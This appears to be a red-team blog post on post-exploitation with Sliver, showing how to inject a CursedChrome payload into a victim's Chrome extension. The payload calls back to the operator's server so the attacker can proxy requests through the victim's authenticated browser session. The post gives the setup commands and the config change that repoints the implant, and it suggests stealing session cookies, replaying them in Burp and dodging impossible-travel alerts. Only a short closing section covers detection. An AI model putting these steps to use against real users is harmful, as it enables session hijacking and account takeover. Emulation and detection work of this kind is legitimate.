Sliver and Cursed Chrome for Post Exploitation

This blog guides you through using Cursed Chrome within Sliver to more effectively perform adversary emulation tests. We will be covering how to inject a CursedChrome payload into a victim's browser using sliver, allowing an adversary to proxy requests through CursedChrome through the victim's browser in the victim's authenticated context

I'm going to skip over a lot of detail here on what sliver can do and how to do all the setup of sliver because that isn't the goal of this post.

What's a Sliver?

Sliver is an exciting (and free) Adversary Emulation Command and Control (C2) framework released by the folks at BishopFox. In their words it's a:

...system made for penetration testers, red teams, and blue teams. It generates implants that can run on virtually every architecture out there, and securely manage these connections through a central server. Sliver supports multiple callback protocols including DNS, Mutual TLS (mTLS), WireGuard, and HTTP(S) to make egress simple, even when those pesky blue teams block your domains. You can even have multiple operators (players) simultaneously commanding your sliver army.

I use it at my organization to emulate how the bad guys do what they do and find out how good our tools and processes are at detecting them.

Setup

Since this blog isn't aimed at introducing you to Sliver, I'm going to brush over a lot of details. To start out you should have:

• A server running sliver (link)
• An operator machine setup to talk to the c2 server (link)
• A windows machine with Chrome installed, with a sliver implant running on it (link)
• A chrome extension with appropriate all-page permissions installed
  • uBlock Origin is a good candidate
  • We'll go over the 'why' of this in a later section

I know this is a lot but we're talking about post-exploitation today and not exploitation.

Setup CursedChrome

Most of the setup instructions are borrowed directly from the CursedChrome repository here.

You can setup CuredChrome one of two places. 1) on the same server running the sliver C2, or 2) on a separate server. I decided to run it on the same server running C2.

The first step to installing CursedChrome is to make sure you have a working docker installed with docker-compose. In my testing podman worked just fine.

Next clone CursedChrome into a folder on your server.

git clone [e-mail]:mandatoryprogrammer/CursedChrome.git \
  && cd CursedChrome

Since we're going to run this server on the open (dirty) internet, we're going to make a small change to the docker-compose.yaml file before we build and turn anything on. We're going to want to modify the block:

    ports:
      - "127.0.0.1:8080:8080" # Proxy server
      - "127.0.0.1:4343:4343" # WebSocket server (talks with implants)
      - "127.0.0.1:8118:8118" # Web panel

To look like:

    ports:
      - "8080:8080" # Proxy server
      - "4343:4343" # WebSocket server (talks with implants)
      - "8118:8118" # Web panel

Now we can stand up the server making sure we grab the admin credentials that are written out to the console as we start it.

docker-compose up -d redis db
docker-compose up cursedchrome

Now log in to your CursedChrome server on http://<serverip>:8118 using the credentials spit out to the console when you started cursedchrome

Note: plaintext http is bad, okay? Put this behind a reverse proxy with TLS if you're doing it for realsies in an uncontrolled environment

Setup the CursedChrome Implant

Now we need to setup the javascript that Sliver is going to inject into the victim's browser extension. This implant is what will proxy the requests from the operator and the CursedChrome server through the browser and out to the network.

The source is here: link. We want to make sure we modify this line to point at our CursedChrome server and not at localhost:

websocket = new WebSocket("ws://127.0.0.1:4343");

(source: https://github.com/mandatoryprogrammer/CursedChrome/blob/master/extension/src/bg/background.js#L301)

With that line modified we should take background.js and minify it, creating min.js in a location accessible by our operator running a sliver client. A pre-minified background.js can be found here (but you'll still need to change the IP): link

Inject min.js

For this step you should be in sliver with our exploited machine (the victim) ready to receive commands.

We're ready to inject our payload by running:

cursed chrome -p min.js

Important: Sliver is about to warn you about this but you should be aware that this is going to restart the users active chrome window.

Assuming this succeeded, we're ready to move on to the next step, proxying requests through our implant.

This failed :(

If you're using this on a pentest, you may have hit a snag. The victim may not have an extension installed that Sliver can use to inject the payload into. This is either because they have no extensions installed or because they don't have an extension installed which can make requests on all pages. Fear not, because you can use the other CursedChrome commands detailed here: link to still do fun stuff, just a little bit less stealthily.

For example, you can still run cursed cookies or cursed console to grab the session cookies for a user and then inject them in burp to steal the users session and port forward via sliver to avoid looking like you're coming from a remote location and triggering those pesky IP location or impossible travel alerts.

Using our Implant

We should now see a new implant running in our CursedChrome console:

Now it's time to use it and FoxyProxy is probably the easiest way to do that. Grab the username and password from the CusrsedChrome console and head into FoxyProxy to setup a new proxy server that looks like this:

Note that we've change port 8118 for port 8080 because the proxy server runs on port 8080. Save the configuration.

Now open up a new tab and activate our configured proxy server:

Now start making some requests! We are making requests through the implant in the security context of the user. For example, I used my dev.to account as a sample target:

I could now create new posts like 'Jeremy doesn't like cats' or other such embarrassing and entirely untrue statements.

Detection and Prevention

I'd be a really bad blue-teamer if I didn't cover this section. There are a few options for detecting and monitoring for this:

• You can use chrome policies to limit what URLs certain extensions can use: https://thehackerblog.com/galvanizer/
• For the first point to be effective, you'll need to control extension installs at your org
  • in chrome, and edge, and other chromium based browsers
• You should be able to detect a new listening debug port in Chrome. Most users won't ever do this so it should be a high fidelity alert
  • look for --remote-debugging-port= arguments in Chrome
• You should be able to detect sliver and its c2 comms
• You should alert on suspicious behaviors on the systems targeted by the attackers